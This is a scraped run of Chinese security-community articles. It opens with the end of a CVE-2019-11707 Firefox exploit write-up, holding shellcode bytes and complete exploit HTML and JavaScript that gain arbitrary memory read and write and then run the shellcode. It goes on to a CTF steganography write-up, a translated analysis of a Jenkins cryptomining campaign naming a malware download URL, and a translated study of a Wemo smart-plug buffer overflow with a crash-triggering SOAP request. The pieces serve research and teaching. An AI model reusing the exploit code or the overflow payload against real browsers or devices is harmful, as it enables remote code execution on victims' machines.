Hx8d=Ix00x001�VWT^H1Hx8dx15x00x00TZxb0;x0fx90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90/usr/bin/xcalcx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00DISPLAY=:0x00
sc = [72, 141, 61, 73, 0, 0, 0, 72, 49, 246, 86, 87, 84, 94, 72, 49, 210, 82, 72, 141, 21, 101, 0, 0, 0, 82, 84, 90, 176, 59, 15, 5, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 47, 117, 115, 114, 47, 98, 105, 110, 47, 120, 99, 97, 108, 99, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 73, 83, 80, 76, 65, 89, 61, 58, 48, 0]
### exp
完整exp如下
`exp.html`
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: monospace;
}
</style>
<script src="shellcode.js"></script>
<script src="exp.js"></script>
</head>
<body onload="pwn()">
<p>Please wait...</p>
</body>
</html>
`exp.js`
var conversion_buffer = new ArrayBuffer(8);
var f64 = new Float64Array(conversion_buffer);
var i32 = new Uint32Array(conversion_buffer);
var BASE32 = 0x100000000;
function f2i(f) {
f64[0] = f;
return i32[0] + BASE32 * i32[1];
}
function i2f(i) {
i32[0] = i % BASE32;
i32[1] = i / BASE32;
return f64[0];
}
function hex(addr){
return '0x'+addr.toString(16);
}
function print(msg) {
console.log(msg);
// document.body.innerText += 'n[+]: '+msg ;
document.body.innerHTML += '<br>[+]: '+msg ;
}
function some(buf,addr){
buf.jjj=i2f(addr);
}
function pwn(){
buf=[];
for(let i=0;i<0x10;i++)
buf.push(new ArrayBuffer(0x60));
var abuf = buf[5];
var e=new Uint32Array(abuf);
e[0]=0x61626364;
e[1]=0x31323334;
const arr = [e,e,e,e,e];
function vuln(a1){
if(arr.length==0){
arr[3] = e;
}
const v11 = arr.pop();
v11[a1] = 0x100;
for(let i =0;i<100000;i++){}
}
p = [new Uint8Array(abuf),e,e];
arr.__proto__=p;
for(let i=0;i<2000;i++){
vuln(34);
}
for(let i=0;i<buf.length;i++)
print(i+' '+ buf[i].byteLength);
var oob = new Uint32Array(buf[6]);
var oob64 = new Float64Array(buf[6]);
var victim = new Uint32Array(buf[7]);
var victim64 = new Float64Array(buf[7]);
func = function func() {
const magic = 4.183559446463817e-216;
const g1 = 1.4501798452584495e-277
const g2 = 1.4499730218924257e-277
const g3 = 1.4632559875735264e-277
const g4 = 1.4364759325952765e-277
const g5 = 1.450128571490163e-277
const g6 = 1.4501798485024445e-277
const g7 = 1.4345589835166586e-277
const g8 = 1.616527814e-314
}
buf[7].leak = func;
for (i=0;i<100000;i++) func();
buf7_addr = f2i(oob64[16])*2 - 0x40 ;
buf7_group_addr = f2i(oob64[12]);
buf7_slots_addr = f2i(oob64[14]);
print("buf7_addr "+hex(buf7_addr));
print("buf7_group_addr "+hex(buf7_group_addr));
print("buf7_slots_addr "+hex(buf7_slots_addr));
function readptr(addr){
oob64[16] = i2f(addr/2);
oob[34] = 0x100;
ptrleak = new Uint32Array(buf[7]);
leak = ptrleak[0] + (ptrleak[1]&0x7fff)*0x100000000;
return leak;
}
function addrof(obj){
buf[7].leak = obj;
return readptr(buf7_slots_addr);
}
function write64(addr,data){
oob64[16] = i2f(addr/2);
oob[34] = 0x100;
towrite = new Float64Array(buf[7]);
towrite[0] = i2f(data);
}
function get_jit_addr(slots_addr){
// func_addr = readptr(slots_addr);
func_addr = addrof(func);
print("func_addr "+hex(func_addr));
func_some = readptr(func_addr+0x30);
print("func_some "+hex(func_some));
jit_addr = readptr(func_some);
print("jit_addr "+hex(jit_addr));
jit_addr = jit_addr - 0xff0;
for(let i=0;i<3;i++){
offset=-1;
oob64[16] = i2f(jit_addr/2);
oob[34] = 0xff0+0x100;
tmp = new Uint8Array(buf[7]);
for(let j=0;j<0xff0;j++){
if(tmp[j+0]==0x37 &&
tmp[j+1]==0x13 &&
tmp[j+2]==0x37 &&
tmp[j+3]==0x13 &&
tmp[j+4]==0x37 &&
tmp[j+5]==0x13 &&
tmp[j+6]==0x37 &&
tmp[j+7]==0x13){
offset=j;
break;
}
}
if(offset!=-1)break;
jit_addr+=0xff0;
}
print(hex(offset));
return jit_addr+offset+8+6;
}
jit_addr = get_jit_addr(buf7_slots_addr);
print("jit_addr "+hex(jit_addr));
function gen_fake_jsclass(group_addr){
group_jsclass = readptr(group_addr);
print("group_jsclass "+hex(group_jsclass));
fake_jsclass_array = new ArrayBuffer(0x30);
fake_cops_array = new ArrayBuffer(0x60);
shellcode = new Uint8Array(0x1000);
fake_jsclass_addr = addrof(fake_jsclass_array)+0x40;
fake_cops_addr = addrof(fake_cops_array) + 0x40;
fake_jsclass = new Float64Array(fake_jsclass_array);
fake_cops = new Float64Array(fake_cops_array);
fake_jsclass[0]=i2f(readptr(group_jsclass+0x0));//name
fake_jsclass[1]=i2f(readptr(group_jsclass+0x8));//flags
fake_jsclass[2]=i2f(readptr(group_jsclass+0x10));//cOps
fake_jsclass[3]=i2f(readptr(group_jsclass+0x18));//spec
fake_jsclass[4]=i2f(readptr(group_jsclass+0x20));//ext
fake_jsclass[5]=i2f(readptr(group_jsclass+0x28));//oOps
print("fake jsclass: "+hex(fake_jsclass_addr));
print(fake_jsclass);
cops_addr = f2i(fake_jsclass[2]);
//cops copy
for(let i =0;i<12;i++){
fake_cops[i] = i2f(readptr(cops_addr+0x8*i));
}
print("fake cops: "+hex(fake_cops_addr));
print(fake_cops);
fake_jsclass[2] = i2f(fake_cops_addr);
fake_cops[0] = i2f(jit_addr);
shellcode_obj_addr = addrof(shellcode) ;
shellcode_addr = readptr(shellcode_obj_addr+0x38) ;
print(hex(shellcode_obj_addr));
print(hex(shellcode_addr));
for(let i=0;i<sc.length;i++){
shellcode[i] = sc[i];
}
write64(group_addr,fake_jsclass_addr);
document.body.innerHTML += '<br><input type="button" onclick="some(buf[7],shellcode_addr)" value="pwn">' ;
}
gen_fake_jsclass(buf7_group_addr);
}
### 利用效果
运行效果如下
## 小结
这里主要跟着[vigneshsrao](https://vigneshsrao.github.io/writeup/)
的文章调了一下`CVE-2019-11707`，学习了一下`firefox` 的漏洞利用链，
整体的漏洞利用链脑子里也比较清晰了，当然这还是没有sandbox 的情况， 后续要找一个 sandbox 逃逸的来调一波。
## reference
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1820>
<https://github.com/vigneshsrao/CVE-2019-11707>
<https://vigneshsrao.github.io/writeup/> | 社区文章 |
# 用图片讲一个故事——第五届强网杯Threebody题目官方题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目描述：“三体人要入侵地球了，听说他们要使出最厉害的武器”
打开图片，发现有三个重复的图形，下面有”DIFOIL”字样，再下面好像还有一串字，但看不清楚。
图片看起来很奇怪，三个图形也呼应了“ThreeBody”的题目名称。
对于图片题目常规操作，使用StegSolve查看各图层，能发现两张隐藏的图片，其他图层再没有什么可疑的东西了：
图片上能认出半个星球、一个宇航员、一只手，以及《三体》中经典的一句话“你们都是虫子”。
对三体比较熟悉的同学可能可以猜出这张图以及原始图片是三体人使用二向箔对地球进行降维打击的场景。
这里也是小小地调侃了一下选手。如果不能找到通往下一步的方法，便只能停留在这里，被三体人嘲讽为“虫子”。
让我们再回到原始图片，放大看其中的细节：
可见图片中红黄蓝绿交错，有老式电视像素点的感觉。
通过010Editor查看像素点数值：
可见相邻像素点的RGB值都差异巨大，正常情况下相邻像素点的RGB值应该差不多才对。
再仔细观察可以发现，如果以4为周期的话相邻像素的数值就差不多了，考虑正常情况下该图片的像素点应该是每4个一组。相当于原始图片是四维的，这里被“降维打击”成了三维。我们这里需要做的，便是对图片进行升维处理。
BMP格式的头部有个`biBitCount`字节是控制每个像素点所占的比特数，现在为24，也就是3个字节，我们将这个字段改为4个字节对应的32：
保存后重新打开图片，便可以看到正常的图形了：
再次通过StegSolve进行查看，可以发现隐藏图片：
很多人看到“Welcome to
QWB”可能就放松了警惕，以为这是一张随便放的没啥用的图片，便去找其他线索了。在CTF题目中忽视作者所给的线索是大忌，其实这里是非常关键的，所以在比赛过程中我有提示“所有图片的内容都是有意义的”。
其实细心的话可以看到左上角有一些小白点，代表着那里隐藏着一些信息。使用StegSolve的Data Extract功能查看该空间：
可以看到有“Who am I?”的字样。
再以列为方式查看：
可以看到有“David”字样。
根据这张照片和“David”的提示，通过一番搜索可得知这一位是知名的数学家大卫·希尔伯特：
不过除此之外我们得不到更多的信息了。Flag在哪呢？
让我们再用010Editor查看修改后的图片：
可以看到每个像素除了有RGB三个字段外还有一个`rgbReserved`字段，代表图片还有另一个通道。
这个字段有些跟`rgbBlue`是一样的，但也有一些有细微差异。
信息会不会就隐藏在`rgbReserved`字段呢？
`rgbReserved`字段是有数值的，所以该通道肯定有对应的图形，不过刚才通过StegSolve并没有看到该通道。
这里一个方法是修改BMP的文件头，使得StegSolve把该通道识别为Alpha通道。
不过这个可能需要了解一些BMP头相关的知识。这里采用一个更为暴力的方法，通过一个Python脚本解析BMP文件结构，把`rgbReserved`的数值复制给`rgbBlue`：
with open('threebody.bmp', 'rb') as f:
d = f.read()
w = 580
h = 435
b = 4
l = bytearray(d)
off = l[10]
for i in range(h):
for j in range(w):
l[off+j*b+i*b*w] = l[off+j*b+i*b*w+3]
with open('threebody_new.bmp', 'wb') as f:
f.write(l)
再通过StegSolve进行查看，可以发现另一个隐藏的图形：
可见中间是一个黑白相间的正方形，其中左上角部分比其他部分颜色要深一些。
大家肯定能想到这里的黑白便是01序列，所以这是一个二维的二进制数组。考虑将这些二进制数组逐行保存成二进制文件，无果，并且如果是逐行保存的话不应该出现左上角的区域与其他区域密度明显不同的情况。
那这个二维数组里的信息是如何储存的呢？
这又要回到刚才提到的数学家希尔伯特了。希尔伯特提出过一种希尔伯特曲线，是一个高维到低维的映射。我们现在得到的二维二进制数组，可以通过这种方式进行降维处理转化成一串一维的二进制流。
并且，希尔伯特曲线的一个特性便是如果从低维还原成高维，则低维中相邻的点在高维中也是相邻的。这就解释了为什么会出现某一块区域密度与其他区域密度不同的情况。
不过从希尔伯特想到希尔伯特曲线可能并不十分容易，希尔伯特作为一位伟大的数学家一生的成就太多了，希尔伯特曲线可能只是其中不起眼的一个成就。
为了防止大家卡在这里，我在比赛中放出了另一个提示“不要埋头做，根据已有信息合理使用搜索引擎”。
这其实是一个大家都明白的道理，做CTF题目，尤其是做Misc题目的时候，善用搜索引擎是非常关键的一步。
但如果单纯搜索“希尔伯特”的话可能需要翻阅大量的网页，这里就需要大家有一些更加跳跃性的思维了。还记得这个题目的主体是什么吗？没错，是“三体”。那三体与希尔伯特这两个看似风马牛不相及的名词，会不会有某种联系呢？事实上，如果尝试以“三体
希尔伯特”作为关键词进行搜索， 很容易搜索引发这道题的出题思路的文章：
<https://mp.weixin.qq.com/s/IOSGOJnGyiGoD8J1ITQJlg>
这篇文章用文字和图片介绍了三个月前B站的一期关于降维打击的视频，视频当时还小火了一把。没错，降维打击！这不正是题目里的图片所讲述的故事。如果你看了文章会发现两张隐藏的图片都能在文章中的视频截图里找到。当发现这一点之后便可以确定，这个视频肯定跟这个题目有着密切的关系。而这个视频，讲的恰恰就是希尔伯特曲线。
下面要做的就是如何利用希尔伯特曲线把这里的二维数据转化成一维数据了。
不同维度的希尔伯特曲线是这样的：
因为这里我们得到的是128 _128的矩阵，128=2*_ 7，所以我们应该使用7维的希尔伯特矩阵。
然后通过希尔伯特曲线的排列方式抽取各像素点的值，视频里已经给我们展示了，类似这样：
我们可以使用脚本把二维的01矩阵降维成一维的二进制流，便可以得到隐藏的文件。我在写脚本处理图片的时候用到了
<https://github.com/galtay/hilbertcurve> 这个库，实现的代码为：
import numpy as np
from PIL import Image
from hilbertcurve.hilbertcurve import HilbertCurve
with Image.open('threebody_new.bmp') as img:
arr = np.asarray(img)
arr = np.vectorize(lambda x: x&1)(arr[:,:,2])
for x1 in range(np.size(arr,0)):
if sum(arr[x1])>0:
break
for x2 in reversed(range(np.size(arr,0))):
if sum(arr[x2])>0:
break
for y1 in range(np.size(arr,1)):
if sum(arr[:,y1])>0:
break
for y2 in reversed(range(np.size(arr,1))):
if sum(arr[:,y2])>0:
break
arr = arr[x1:x2+1, y1:y2+1]
hilbert_curve = HilbertCurve(7, 2)
s = ''
for i in range(np.size(arr)):
[x,y] = hilbert_curve.point_from_distance(i)
s += str(arr[127-y][x])
with open('output', 'wb') as f:
f.write(int(s,2).to_bytes(2048, 'big'))
这里的`output`便是最后得到的文件，打开可以发现是一个C语言程序。编译并执行这个C语言程序，发的输出结果便为该C语言程序本身。
其实这种可以打印自身的程序学名叫Quine，2015年第一届强网杯的NESTING
DOLL题目便是关于Qunie的，这里也是小小地纪念一下当年打CTF的时光。
不过如果对原始代码和程序输出的代码进行仔细比对的话可以发现，两者并不是完全相同的，在output的第11行后面多出了大片的空白字符，由空格和Tab构成。
通过把空格替换成0、Tab替换成1，可得到字符串`01100110011011000110000101100111011110110100010000110001011011010100010101101110001101010110100100110000011011100100000101101100010111110101000001110010001100000011011000110001011001010110110101111101`
这段二进制串还原便可得到Flag：flag{D1mEn5i0nAl_Pr061em}
后记：
ThreeBody是第五届强网杯的一道 Misc 的题目。可能由于是第二天才放出的，留给大家的时间不太多，直到比赛结束也只有0x300R一支队伍做了出来。
虽然做出的人很少，但看起来大家的参与感还是很足的。看到赛后在官方群里大家日常催更三体的writeup，很高兴大家能喜欢这道题：
说到 Misc 题目，很多人的第一印象是“脑洞”。确实很多 Misc
题目都需要一些脑洞才可以解，但是单纯靠脑洞来提高题目难度会使得题目变得很没意思。在出这道题的时候，我尽量把做题所需要的引导作为线索加入到题目当中，把需要的脑洞降到最小。不过这就需要大家足够地细心，不放过题目的任何一点提示。
另一方面，Misc 是 CTF
中最为多变的题目类型，我在出这道题的时候，也希望不仅仅是考察技术本身，更希望通过题目来讲述一个故事。题目的不同部分相互穿插关联，让大家做起来更有乐趣。降维打击是近几年互联网的热门词汇，而引发这道题目出题思路的那个三个月前几百万播放量的视频，在某种程度上也算是“时事热点”。我把视频里所讲述的故事，以Misc题目的形式展示了出来，让大家在做题过程中亲自感受降维打击的过程。而正如前面所说，本题目提供的原始图片，也可以看做四维的图片被降成了三维，这可能是另一种降维打击的可视化方式。
最后放出给我出该题目启发的B站视频，让我们来一起领略降维打击的震撼：
<https://www.bilibili.com/video/BV1Sf4y147J9> | 社区文章 |
# Jenkins漏洞背后的资源争夺战
##### 译文声明
本文是翻译文章，文章原作者 f5，文章来源：f5.com
原文地址：<https://www.f5.com/labs/articles/threat-intelligence/new-jenkins-campaign-hides-malware--kills-competing-crypto-miner>
译文仅供参考，具体内容表达以及含义原文为准。
F5安全研究人员近期发现了利用未经身份验证的代码执行漏洞对Jenkins自动化服务器进行攻击的威胁活动。这是继我们揭露攻击者利用XMRig挖掘门罗币的攻击活动后，他们又对Jenkins服务器发起的一系列攻击。这起活动中使用了具有15年历史的进程隐藏工具——XHide。通过它来隐藏恶意进程，并且中止在失陷服务器上运行的其他挖矿进程，达到抢占服务器资源的目的。
## 序列化Payload
可以看到，攻击者发送带有恶意payload的请求，通过反序列化漏洞对服务器进行控制。
图1：带有序列化Java对象的请求包，其中包含base64编码的恶意payload
序列化对象中包含经过base64编码的字符串，解码后内容如下：
图2：字符串解码后为bash命令
对字符串进行base64解码后得到的命令首先会尝试使用wget下载恶意文件，如果失败，则使用curl进行下载。下载完成后，以bash脚本格式运行该文件。下面我们来看看下载的bash脚本。
## Bash脚本分析
该bash脚本是从中国Git网站GitEE下载的。在作者的git仓库中，只有一个具有单个分支的项目。
图3：攻击者在GitEE上的项目
在过去的三个月（自2018年4月22日以来），对于大部分文件，攻击者都未做跟新。但在7月2日那一周，更新了四个文件。
图4：2018年7月2日所在这周，作者对四个文件进行了更新
下载的bash脚本中包含各种命令，而将它的后缀改为.jpg是为了使它和目标服务器上其他文件混在一起，对受害者进行混淆。
脚本中的前几个命令，终止了目标服务器上多个进程。进行分析，可以看出其目的似乎是要避免服务器资源竞争。大多数进程名和已知的挖矿程序名一致。例如：
kworker34,sourplum以及其他一些在imf-conference.org公布的挖矿程序。
图5：使用pkill命令杀死其他挖矿进程
接下来使用wget和curl在失陷服务器上下载其他恶意文件。
图6：使用wget和curl下载恶意文件
执行完下载命令后，失陷服务器会多出以下文件：
* a
* config.json
* cron.d
* x
* dir.dir
* h32
* h64
* run
* Java
* upd
* x86_64
如果服务器已感染并部署了其他恶意软件，其进程也已经在系统上运行了，则bash.pid文件会使用命令“cat bash.pid | xargs
kill“杀死相关进程，从而安装自己的恶意软件。
接下来，logo.jpg中的最后一条命令，将赋予所有已下载的文件执行权限，然后运行’x’文件。
图7：对下载的文件赋权并运行‘x’文件
## 持久性技术
文件‘x’的唯一目的就是使’a’文件在后台执行。使用“nohup”命令，即使原始的shell会话断开，’a‘进程也能在系统中保持运行。（参见图8和9）
图8：使用“nohup”命令使’a‘进程持续运行
图9：’a’文件中设置了定时任务并对upd文件进行赋权运行
上图中的代码与2017年10月26日在Stack Overflow论坛上的一段代码非常相似，如图10，其中的文件名及大部分命令都是相同的，只是无法确认作者。
图10：Stack Overflow上的代码
在文件’udp’中，通过设置定时任务，每分钟都会检测恶意程序bash.pid的进程是否运行。如果没有运行，则启动该程序。通过这种监测的手段，来防止恶意程序崩溃或被中止。
在另一个定时任务中，每隔6小时，会下载hxxp：//3389.space/lx/logo.jpg。在撰写本文时，该文件已无法下载。
图11：程序崩溃或中止时将运行’run’文件
脚本将运行进程隐藏程序（h32或h64分别支持x86和x64架构），并将Java文件名作为参数进行传递。而正在运行的进程的进程ID会保存到bash.pid中。
## 进程隐藏
在此次攻击活动中，攻击者使用了Schizoprenic Xnuxer Research在2002年发布的进程隐藏工具XHide.
图12：XHide工具菜单栏
通过对h32和h64的分析，我们弄清楚了XHid如何隐藏进程的原始命令：它并不会修改恶意文件的文件名，而是通过覆盖恶意文件的argv
[0]，修改恶意文件的cmdline信息（在linux系统中，位于in /proc/$pid/cmdline）。使用’ps
-ax’命令将显示虚假的恶意进程信息。只有使用’ps -a’，才能显示恶意进程真正的信息。因为它是从 /proc/$pid/status对进程信息进行读取。
在这种情况下，运行恶意java
ELF文件，虽然会启动/usr/sbin/sshd（SSH服务常用），但很难引起怀疑。这种攻击手法比较古老但难得一见，我们以前从未遇到过这种技巧。一般的攻击者会直接对恶意文件名进行修改，然后运行。
## 挖矿功能
java可执行文件的主要目的是挖掘臭名昭著的门罗币。在菜单中我们可以看到XMRig相关选项，这说明在恶意软件中集成了XMRig挖矿功能。
图13：恶意文件中集成挖矿功能
虽然攻击者使用了独特的技巧来隐藏并驻存恶意程序，但他并没有对程序进行很好的混淆，我们很轻松的就在恶意程序中找到了钱包地址。
图14：矿池地址及钱包地址均为明文
## 追踪
通过查看钱包地址，可以看到迄今为止攻击者的收益。
图15：钱包信息
如上图，攻击者已经挖到了超过39枚门罗币，在撰写本文时，其价值约为5,100美元。根据交易记录，我们发现该钱包最早的支付记录是在2018年3月11日。
可以看到挖矿的速率介于50~60KH/s，这说明攻击者使用了几十甚至上百台服务器进行挖矿。
图16：挖矿速率说明有多台服务器在同时挖矿
## IOCs
a
config.json
cron.d
x
dir.dir
h32
h64
run
Java
upd
x86_64
（这些文件很可能在于/tmp/.tmp/文件夹内，但最好对其他文件夹也进行检测）
logo.jpg:如果该文件为可执行文件，那一定要重点关注。系统管理员可以使用这条命令来搜索此文件：find / -name logo.jpg | xargs file | grep executable
Cronjobs:攻击者设置定时任务，使用curl或wget下载logo.jpg
Processses：可以使用以下命令检测Java进程：pid=$(ps -a | grep java | cut -d " " -f 1); ps -ax | grep $pid
当然，关注CPU的使用情况，是发现恶意挖矿行为最简单有效的方法。
## 总结
最近，我们发现了越来越多富有技巧的挖矿活动。例如，在6月，我们遇到了使用中文论坛作为C2服务器下载C#程序进行攻击的事件，除此之外，还发现了攻击者使用两个不同的漏洞，利用VBScript发起攻击。在诸多挖矿活动中，杀死竞争对手挖矿进程的行为很普遍。这说明越来越多的攻击者发现了挖矿有利可图，都想来分一杯羹。攻击者们使用各种新技巧，使得自己能在这场“资源争夺战”中处于优势地位。 | 社区文章 |
# Wemo Insight 智能插座缓冲区溢出漏洞及其利用分析
|
##### 译文声明
本文是翻译文章，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/insight-into-home-automation-reveals-vulnerability-in-simple-iot-product/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
物联网可以让我们的生活更轻松。想要远程打开和关闭灯和电器，并在线监控它们？一个简单的方法是，你需要一个“智能插座”，一个Wi-Fi连接的插座。但是，如果没有适当的安全保护，物联网设备就会变成攻击向量。
McAfee实验室高级威胁研究团队致力于发现软件和硬件方面的安全问题，帮助他们的开发者为企业和消费者提供更安全的产品。我们最近调查了Belkin公司生产的一种产品。通过对Wemo
Insight智能插座的研究，我们在libUPnPHndl.so库中发现了一个未报告的缓冲区溢出漏洞。这个漏洞（CVE-2018-6692）允许攻击者执行远程代码。根据[我们的披露政策](https://www.mcafee.com/enterprise/en-us/threat-center/advanced-threat-research/disclosure.html)，我们于5月21日向Belkin报告了这项研究。
这个漏洞能导致有用的攻击吗？智能插座本身的影响很小。攻击者可能会关闭开关，或者在最坏的情况下让交换机过载。但是，如果插座与其他设备联网，潜在的威胁就会增加。这个插座现在可以成为一个更大的攻击的入口点。在报告的后面，我们将会讨论一次可能的攻击。
## 寻找攻击面
按照使用手册的建议，我们使用Wemo
phone应用来安装插座。安装之后，我们可以远程打开和关闭插座。然后，我们测试了软件，包括端口扫描，监测网络流量，以及查阅一些研究。Wemo监听UPnP端口tcp
49152和tcp 49153端口。手册、拆卸图和GPL都可以在线查看，它们提供了有关CPU体系结构、操作系统和应用程序的信息。
之后我们转向硬件，拆卸了插座。我们在主板上识别出了芯片，找到了与插座通信的插头，并从闪存中取出内存。我们的在线研究提供了主板上每个芯片的数据表。
我们在板上找到了通用异步收发传输器(UART)，并通过文档确认了它们。我们用锡线连接到这些插头上，看看它们是否在主动传输。为了测试与设备的通信，我们使用了Exodus
XI Breakout板，如图所示：
[](https://p3.ssl.qhimg.com/t0102ad4516d69ca723.png)
通过暴力破解，我们能够通过UART接口获得调试信息。UART还提供了一个登录提示；然而，无论是通过网上的资料还是简单的猜测，我们都没有找到一个可用密码。
## 提取和固件分析
在主板上发现的闪存芯片是Maxronix的MX25L12835F，flashrom支持这种芯片。flashrom是一种著名的用于提取固件的开源工具。我们使用flashrom和XI
Breakout板从Wemo插座中提取固件。在获得插座附带的原始固件映像之后，我们使用Wemo
phone应用更新它。一旦设备被更新，我们再次从设备中提取固件，提供第二个映像。我们使用新固件进行了基本的健全检查，确保我们早期的软件侦察没有改变。
在提取固件后，我们使用开源二进制分析工具binwalk对固件进行了分析。binwalk从固件中提取文件系统以便进行进一步的检查。通过对文件系统的访问，我们可以检查系统配置和访问二进制文件。
## 查找漏洞
网络或远程漏洞比本地漏洞更危险，因此我们仔细研究了侦听本地网络的UPnP端口。在这个阶段，我们的首席分析师参加了一门关于Exodus智能嵌入式开发的课程，其中一位老师Elvis
Collado([@b1ack0wl](https://github.com/b1ack0wl "@b1ack0wl"))正在开发一个UPnP
Fuzzer，并表示愿意协助我们的工作。使用这个工具，我们开始对打开的UPnP端口进行模糊测试，同时监视Wemo上的UART端口。过了一会儿，我们在UART界面上看到崩溃出现了。
11:37:16.702 stuntsx0x46ac6 STUN client transaction destroyed
sending SIGSEGV to wemoApp for invalid write access to
464d4945 (epc == 2ac1fb58, ra == 2ac1fccc)
Cpu 0
$ 0 : 00000000 00000001 0000006d 464d4945
$ 4 : 31d2e654 31d2e770 00000003 00000001
$ 8 : 0000007c fffffff8 00000007 00000002
$12 : 00000200 00000100 00000807 00000800
$16 : 31d2e6f0 31d2e898 004a1cb8 00000002
$20 : 31d2e638 31d2e6c0 004a1388 31d2e640
$24 : 00000400 2ac1fb30
$28 : 2ac77d40 31d2e600 31d2e648 2ac1fccc
Hi : 00000008
Lo : 00000000
epc : 2ac1fb58 Tainted: P
ra : 2ac1fccc Status: 0100fc13 USER EXL IE
Cause : 8080000c
BadVA : 464d4945
PrId : 0001964c
Modules linked in: softdog rt_rdm rt2860v2_ap(P) raeth
Process wemoApp (pid: 2157, threadinfo=80fa0000, task=802c87f0)
Stack : 2a0000d0 fffffffe 31d2e6f0 31d2e770 31d2e76f 31d2e6f0 31d2e6f0 31d2e770
00000000 31d2e604 00000000 00000000 2ac77d40 00000000 4f464751 4a484d4c
4e444241 47454f49 50464658 45414d42 43445044 464d4945 5552414c 46495048
4b524141 41445a4f 44534e4a 4e4e494c 44434357 494a4855 44515455 44494b45
55584a44 584e4f52 545a5247 51545954 595a4c42 4e594a45 484f5158 46474944
…
Call Trace:
Code: 80a20000 50480004 a0600000 <5440fffa> a0620000 a0600000 10a00006 24840004 24a50001
thready: Destructor freeing name “ChildFDTask”.
Aborted
经过多次重复和观察实验，我们确定崩溃是由以下数据包造成的：
POST /upnp/control/basicevent1 HTTP/1.1
Host: 192.168.225.183:49154
User-Agent: python-requests/2.9.1
Accept: */*
Connection: keep-alive
SOAPAction: “urn:Belkin:service:basicevent:1#UpdateInsightHomeSettings”
Content-Type: text/xml
Accept-Encoding: gzip, deflate
Content-Length: 3253
<?xml version=”1.0″ ?><s:Envelope s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”><s:Body><b1ack0wl_ns:UpdateInsightHomeSettingsxmlns:b1ack0wl_ns=”urn:Belkin:service:basicevent:1″><EnergyPerUnitCost>210</EnergyPerUnitCost><Currency>236</Currency><EnergyPerUnitCostVersion>KWWZWIVYBQZKDGSSAAPBCQVQQFAVYZEOEUFIDXXQPDYGESTOD
GIJFERXZNMYAFJQLUZPSIJXFQSPADCRIVHDAJLLPQMPLAVECIQUWLXDLIGPLBKCROGPOCVUI
KTSLIIXULOEBVFKWIERCFGHWHCBBDLWFBKBZXAVGRKTDALDNRPOFQJDXAEOC(…snip…)XHU
OUZPCHUBFGLLWSJBFYFOMCGZZMJIQIUVCDETFBRBZVDVKNBVZFBRSVBSZPAYKZYNQZEQPDV
DWSZNDUPUDCPAVWNFBFBTYMXTBNCWTBJPKORUBHBSCQBPOPOBZNVADMGWRI
</EnergyPerUnitCostVersion></b1ack0wl_ns:UpdateInsightHomeSettings></s:Body></s:Envelope>
由于大小原因，一些payload已被删除。(“EnergyPerUnitCostVersion”的原始数据为2828个字符)。在检查崩溃数据和数据包后，这似乎是缓冲区溢出，其中数据被覆盖到堆栈中。我们继续进行模糊测试，现在专注于“EnergyPerUnitCost”字段，我们发现只需要32个字符就可以让程序崩溃。
虽然崩溃转储为我们提供了很多有价值的信息，但仍然有很多信息我们不知道。例如，崩溃发生在“WemoApp”，并为我们提供了一个偏移量，但是这个库的基地址是什么呢？堆栈上覆盖了什么？如果没有在运行时访问应用，这些问题很难回答。因为我们已经获得了文件系统，所以我们可以静态地分析WemoApp二进制文件；但是我们仍然无法很容易地确定崩溃的确切点。
要回答这些问题，有两种途径。我们可以虚拟化Wemo固件或二进制程序来继续测试；或者，如果我们能够在UART端口上确定根密码，就可以在设备本身上进行调试。一般来说，虚拟化固件并不简单，有时会导致不准确的测试结果，最好是在设备上进行调试。有了我们在测试过程中发现的所有信息，我们似乎有希望绕过根密码。(我们确实花了一些时间试图虚拟化WemoApp，但没有成功。)
## 绕过根密码
从提取的文件系统中，我们了解到Wemo运行嵌入式Linux系统OpenWRT，用户帐户信息保存在/etc/passwd或/etc/shadow文件中。我们从/etc/passwd中提取根密码的哈希值，并将其提交到一个破解平台。事实证明这种方法在合理的时间内是无效的。
我们能够读取闪存芯片，现在我们有一个很好的机会去烧写芯片。除非在固件上进行校验和或验证，否则我们可以用已知的密码替换/etc/passwd文件。
为了验证这个想法，我们必须重新打包固件。因为Wemo的GPL是公开的，所以我们使用开发人员使用的相同工具。使用GPL，我们用Izma编译了相同版本的squash
tools
3.0，并使用修改后的/etc/passwd文件重新打包了固件文件系统。然后增加了填充，确保固件部分与原始大小相同。然后，使用“dd”将新的文件系统段插入到固件二进制文件中。在此过程中，我们发现使用binwalk提取固件不能正确地重新打包固件。通过binwalk提供的信息，我们使用“dd”来提取用于重新打包的固件二进制文件的正确部分。
有了新的固件二进制文件，我们使用XI Breakout板和flashrom在板上把固件写到闪存芯片。重新启动设备后，我们就可以使用新密码登录了。
## 分析崩溃
有了Wemo的根访问权限，我们可以在UPnP
fuzzing期间收集更多有关崩溃的信息。首先，我们需要编译对这个架构进行更深入分析所需的工具。我们使用GPL为设备编译了gdbserver和gdb。Wemo有大量安装工具，例如“wget”，这使得添加文件变得很简单。我们从/tmp目录下载并执行这些工具。
经过大量尝试，我们始终不能让gdb直接或远程地使用该设备运行。于是我们使用gdbserver和Interactive Disassembler
Pro进行调试。连接调试器发送导致崩溃的数据包，我们看到了崩溃的确切位置。地址0x2AC15B98出现段错误。从linux
proc目录中的内存布局，我们确定了它的内存地址驻留在libUPnPHndlr.so库中。
2abf3000-2ac4d000 r-xp 00000000 1f:02 82 /rom/lib/libUPnPHndlr.so
